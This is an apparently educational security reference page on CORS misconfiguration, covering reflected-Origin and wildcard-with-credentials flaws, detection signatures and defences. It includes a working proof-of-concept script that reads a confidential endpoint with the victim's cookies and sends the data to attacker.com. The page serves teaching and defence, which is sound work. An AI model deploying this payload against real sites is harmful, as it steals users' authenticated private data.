the_open_door
coffee
ESEN
← Back to index

CORS Misconfiguration

ATT&CKT1539

CORS (Cross-Origin Resource Sharing) is the mechanism that decides which origins may read, via JavaScript, the response of a request to another domain. By default the browser forbids it (same-origin policy); the server relaxes it with the Access-Control-Allow-Origin header. A permissive configuration turns that relaxation into a leak: if the server reflects any Origin and also allows credentials, an attacker's page can make the authenticated victim's browser request their private data and hand it over.

The two dangerous configurations show up in the response intercepted with Burp. The first is the wildcard with credentials, forbidden by the standard but emitted by some servers:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

The second, more common and exploitable, is reflecting the request's Origin with no whitelist: if we send Origin: https://attacker.com and the server replies Access-Control-Allow-Origin: https://attacker.com with Allow-Credentials: true, any domain works. It is also worth trying the null origin (sandboxed documents, file://). Once reflection is confirmed, you host a page that reads the confidential resource with the victim's cookies and exfiltrates it:

<script>
  const req = new XMLHttpRequest();
  req.open('GET', 'https://api.example.com/confidential', true);
  req.withCredentials = true;                       // sends the victim's cookies
  req.onload = () => fetch('https://attacker.com/log?d=' + btoa(req.responseText));
  req.send();
</script>

Requirements. The target endpoint must (1) return sensitive data based on the victim's session cookie and (2) respond with an Access-Control-Allow-Origin that includes an attacker-controlled origin together with Access-Control-Allow-Credentials: true. Without reflected credentials, the browser receives the response but will not let the script read it, and the attack steals nothing.

How to detect it. In traffic, the signature is a response whose Access-Control-Allow-Origin exactly matches an arbitrary Origin from the request (reflection) or is * alongside Allow-Credentials: true. A CORS scan (send a probe Origin and see if it is reflected) reveals it; in production, authenticated requests whose Origin is not one of your own domains are the alert.

Defence. Never reflect the Origin: keep an explicit whitelist of trusted origins and compare against it; do not combine Allow-Origin: * with Allow-Credentials: true; do not trust the null origin. For sensitive data, also require an anti-CSRF token and do not rely on the cookie alone. It relates to the session theft that XSS also pursues.